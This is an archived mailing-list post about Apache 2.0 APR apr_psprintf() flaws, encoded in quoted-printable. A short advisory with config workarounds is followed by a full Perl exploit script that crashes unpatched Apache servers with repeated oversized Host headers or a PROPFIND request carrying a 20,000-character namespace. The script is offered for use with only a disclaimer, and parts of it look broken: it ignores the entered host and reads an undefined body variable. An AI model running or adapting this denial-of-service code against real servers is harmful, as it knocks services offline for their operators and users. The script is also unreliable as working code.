TUCoPS :: Web :: Apache :: bt384.txt

Apache 2.x APR Exploit Code


I had planned to write this tool in C for the sake of using native
functionality like crypt(3) to support digest authentication=2E  I'd also
planned to support intermediate proxies, but a determined user can
implement this via various tunneling applications with minimal
complications, and I don't need to make this too script-kiddie friendly=2E=


The details of each exploit vector are as follows:

* mod_proxy

mod_proxy outputs a simple message when a connection has failed that
includes the host name of the intended destination=2E  It accomplishes thi=
s
via the vulnerable apr_psprintf() function=2E  This leads to a crash if th=
e
Host header is extremely long=2E

* mod_dav

Certain methods of accessing a DAV repository may enable attacker-supplied=

input to be passed as a parameter to apr_psprintf() as part of an "Invalid=

namespace" error=2E  This results in the crash of the child handling the
request=2E

* Others

NOTE: mod_dav is also impacted by this exploit, but the exploit vector
above specifically targets it=2E

Many modules format the hostname of the server into buffers via the
apr_psprintf() function=2E  The hostname is under the attacker's control i=
f
"UseCanonicalName Off" is in place=2E  Via a long HTTP/1=2E1 "Host" header=
, it
becomes possible to cause these modules to crash=2E

*** NOTE: Some people have assumed that the Apache LimitRequestFieldSize
directive would protect them from exploitation, so long as they did not
have mod_dav installed=2E  This is not correct, as the Apache HTTP Server =
may
take:

GET / HTTP/1=2E1
Host: a
Host: b

And internally convert it to:

GET / HTTP/1=2E1
Host: a, b

The same is true for longer headers=2E  So, ten such headers of 2000
characters each bypasses the default LimitRequestFieldSize directive, but
still exploits the vulnerability=2E

Workarounds

* LimitXMLRequestBody 2000 in your configuration file for any servers with=

DAV enabled=2E  These can be identified by the string "DAV/2" in their ser=
ver
signatures in most cases=2E

* The following pair of lines:

LimitRequestFields 15
LimitRequestFieldSize 800

will temporarily block the mod_proxy exploit=2E

* Such a rash workaround is not required for the other modules, where a
simple:

UseCanonicalName On

does the trick=2E  It was recently pointed out to me that there was an err=
or
in my previous post regarding this=2E  It incorrectly stated that
UseCanonicalName *Off* fixed the flaw=2E  In reality, this *opens* one of =
the
exploit vectors=2E  However, I believe it was clearly identified in the ot=
her
parts of my post, and this has now been corrected=2E  Without making you w=
ait
any longer=2E=2E=2E

---
#!/usr/bin/perl
#
# Apache 2=2E0 APR Exploit
# Written By Matthew Murphy
# Updates: http://www=2Etechie=2Ehopto=2Eorg/exploits/Apache-Knacker=2Epl
#
# Ever since I unveiled the additional details of the APR flaw in
# Apache 2=2E0=2E37-2=2E0=2E45, I've been under pressure to "put my money
# where my mouth is", and produce exploits for the flaw=2E  My answer
# to these people was "just give me a few days until I figure them
# out, and you'll be the first to know"=2E  Well, despite a slight=20
# delay, here you have it=2E
#
# This Perl script will successfully exploit any un-patched Apache 2=2E0
# server that does not have the workarounds I highlighted applied=2E
#
# Okay, now it is time for my classic legal garb=2E=2E=2E
# Given that this is rushed, and probably buggy in some capacity, this
# is especially important here:
#
# No warranties are made about the performance of this tool, either=20
# express or implied=2E  Your use of this tool is an implicit agreement
# that you will not utilize it against a network if any of the following
# occur:
#
# You do not administer the network
# You are not the owner of the network, and do not have written permission=

#=09from the owner for testing of this potential vulnerability (HP=20
# =09speak there! :-D)=2E
# Networks other than your own may be impacted by use of this tool in some=

# =09way=2E
#
# You also agree NOT to hold the author of the tool responsible for any
# damage resulting from its use, be it accidental or intentional, and also=

# agree that the consequences of utilizing this tool (and any damage such
# use creates) are solely your responsibility=2E
#
# Contact:
# E-mail: mattmurphy@kc=2Err=2Ecom
# Web: http://www=2Etechie=2Ehopto=2Eorg/
# AIM: NetAddict4109
#=09or for the Windows folk among us:
#=09aim:goim?screenname=3DNetAddict4109
#
# Enjoy!

# Base64 Encoder
#
# If you want authentication with the server via HTTP's lame Basic
# auth, put the proper string to encode BASE64 content, and use
# '%s' to represent the credentials being encoded=2E  For instance:
#
# base64 %s
#
# would result in:
#
# base64 userid:password
#
# If your decoder requires you to use STDIN to pass the password
# (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
# use '%s' on the command-line=2E
$BASE64_CMD_STRING =3D "use_base64_encoder_here %s";

# Base64 encoder piping
#
# If your encoder requires the password to be written to STDIN,
# set this to a nonzero value=2E  NOTE: This requires support for=20
# bi-directional pipes on your OS version=2E
$BASE64_USE_STDIN =3D 0;

# Base64 encoder input handling
#
# If your encoder requires a newline after your credentials,=20
# set this to your newline character=2E
$BASE64_WRITE_NL =3D "";

use IO::Socket;
print STDOUT "Apache 2=2E0 APR Exploit\r\n";
print STDOUT "By Matthew Murphy\r\n\r\n";
print STDOUT "Enter the hostname/IP address of the server: ";
$line =3D <STDIN>;
$host =3D mychomp($line);
print STDOUT "Enter the port of the server \[80\]: ";
$line =3D <STDIN>;
$port =3D mychomp($line);
print STDOUT "Use authentication credentials for the session \[Y/N\]? ";
$line =3D <STDIN>;
$char =3D mychomp($line);
if ($char =3D=3D "Y" || $char =3D=3D "y") {
=09print STDOUT "What username shall we use: ";
=09$line =3D <STDIN>;
=09$user =3D mychomp($line);
=09print STDOUT "What password shall we use: ";
=09$line =3D <STDIN>;
=09$pass =3D mychomp($line);
=09$auth =3D "$user:$pass";
=09if ($BASE64_USE_STDIN) {
=09=09# l33t Perl piping trix; NOTE: This is definitely
=09=09# Alpha code! :-)
=09=09pipe(STDOUTREAD, STDOUTWRITE);
=09=09pipe(STDINREAD, STDINWRITE);
=09=09open(OLDSTDIN, "&STDIN");
=09=09open(OLDSTDOUT, ">&STDOUT");
=09=09open(STDIN, "&STDINREAD");
=09=09open(STDOUT, ">&STDOUTWRITE");
=09=09close(STDINREAD);
=09=09close(STDOUTWRITE);
=09=09system($BASE64_CMD_STRING);
=09=09open(STDIN, "&OLDSTDIN");
=09=09open(STDOUT, "&>OLDSTDOUT");
=09=09close(OLDSTDIN);
=09=09close(OLDSTDOUT);
=09=09print STDINWRITE $auth;
=09=09close(STDINWRITE);
=09=09read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
=09=09close(STDOUTREAD);
=09} else {
=09=09open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)=2E"|");
=09=09read(READOUTPUT, $base64, 4096); # See above
=09=09close(READOUTPUT);
=09}
=09# Another hack for dealing with base64 encoders that output=20
=09# multi-lined encoded text=2E  HTTP specifically calls for a=20
=09# single line=2E  Note that this pattern also messes with spaces,=20
=09# tabs, etc=2E, but base64 doesn't use those either, so this=20
=09# shouldn't matter=2E
=09$base64 =3D join("", split(/ /, $base64));
} else {
=09$base64 =3D undef;
}
$f =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>"127=2E0=2E0=2E1"=
);
print STDOUT "Exploiting a proxy server \[Y/N\]? ";
$line =3D <STDIN>;
$char =3D mychomp($line);
if ($char =3D=3D "Y" || $char =3D=3D "y") {
=09print $f "GET / HTTP/1=2E1\x0d\x0a";

=09# Apache 2=2E0 tries to limit header inputs, but uses a hash table=20
=09# that ultimately concatenates multiple headers of the same name=20
=09# together with ", " between them, so:
=09#
=09# Host: a
=09# Host: b
=09#
=09# Bypasses Apache's buffer size checks, but ends up as:
=09#
=09# Host: a,b
=09#
=09# When processed=2E  Confirm this with a TRACE against your server:
=09#
=09# TRACE / HTTP/1=2E1
=09# Host: a
=09# Host: b
=09#
=09# The "message/http" body you receive will contain:
=09#
=09# TRACE / HTTP/1=2E1
=09# Host: a,b
=09#
=09# So, for those of you who are confused by this code fragment,=20
=09# this is what it ultimately achieves!
=09for ($i =3D 0; $i < 10; $i++) {
=09=09print $f "Host: "=2E("A"x2000)=2E"\r\n";
=09}
=09if (defined($base64)) {
=09=09print $f "Proxy-Authorization: Basic "=2E$base64=2E"\r\n";
=09}
=09print $f "\r\n";
} else {
=09print STDOUT "What resource should be probed: ";
=09$line =3D <STDIN>;
=09$res =3D mychomp($line);
=09print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] ";
=09$line =3D <STDIN>;
=09$char =3D mychomp($line);
=09if ($char =3D=3D "Y" || $char =3D=3D "y") {
=09=09# WARNING:
=09=09# Another section of alpha code here; mod_dav tends to barf
=09=09# if given the smallest inconsistency, and this is not=20
=09=09# exactly well-researched=2E  If this doesn't work for you,=20
=09=09# target your DAV repository as a typical resource: if=20
=09=09# UseCanonicalName On hasn't been set explicitly, mod_dav=20
=09=09# will choke on that as well=2E
=09=09#
=09=09# STunnel should not have issues with this, as you can't=20
=09=09# use a "Host" header in an SSL connection anyway, so=20
=09=09# that is no problem=2E
=09=09#
=09=09# Note that if the body is too long, IIS servers will also=20
=09=09# die (assuming of course, that the latest IIS cumulative=20
=09=09# patch has not been applied), as they have had problems=20
=09=09# dealing with WebDAV in the very recent past=2E

=09=09# XML Body of Request
=09=09#
=09=09# If everything works, mod_dav will attempt to format a=20
=09=09# message with apr_psprintf() to indicate that our=20
=09=09# namespace is invalid, leading to a crash=2E
=09=09$xmlbody =3D "<?xml version=3D\"1=2E0\"?>\r\n";
=09=09$xmlbody=2E=3D "<D:propfind xmlns:D=3D\""=2E("A"x20000)=2E"\:\">\r\n=
";
=09=09$xmlbody=2E=3D "\x20\x20\x20\x20<D:allprop/>\r\n";
=09=09$xmlbody=2E=3D "</D:propfind>";

=09=09# HTTP headers
=09=09print $f "PROPFIND $res HTTP/1=2E1\r\n";
=09=09print $f "Host: $host:$port\r\n";
=09=09print $f "Depth: 1\r\n";
=09=09print $f "Content-Type: text/xml; charset=3D\"utf-8\"\r\n";
=09=09print $f "Content-Length: "=2Elength($body)=2E"\r\n\r\n";
=09=09if (defined($base64)) {
=09=09=09print $f "Authorization: Basic "=2E$base64=2E"\r\n";
=09=09}
=09=09print $f "$xmlbody\r\n\r\n";
=09} else {
=09=09# This does *almost* the exact same thing as the mod_proxy=20
=09=09# code, and could be considered wasteful, but a few extra=20
=09=09# CPU cycles never killed anybody=2E :-(
=09=09print $f "GET $res HTTP/1=2E1\r\n";
=09=09for ($i =3D 0; $i < 10; $i++) {
=09=09=09print $f "Host: "=2E("A"x2000)=2E"\r\n";
=09=09}
=09=09if (defined($base64)) {
=09=09=09print $f "Authorization: Basic "=2E$base64=2E"\r\n";
=09=09}
=09=09print $f "\r\n";
=09}
}
while (defined($ln =3D <$f>)) {
=09print STDOUT $ln;
}
undef $f;
exit;

# FIXED: The perl chomp() function is broken on my distro,
# so I hacked a fix to work around it=2E  This note applies
# to ActivePerl 5=2E8=2Ex -- I haven't tried others=2E  This is
# another hackish fix, which seems to be the entire style
# of this code=2E  I'll write better toys when I have time to
# write better toys=2E
sub mychomp {
=09my $data;
=09my $arg =3D shift;
=09my $CRLF;
=09if ($^O =3D=3D "MSWin32") {
=09=09$CRLF =3D 1;
=09} else {
=09=09$CRLF =3D 0;
=09}
=09$data =3D substr($arg, 0, length($arg) - $CRLF);
=09return $data;
}

--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web=2Ecom/ =2E


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH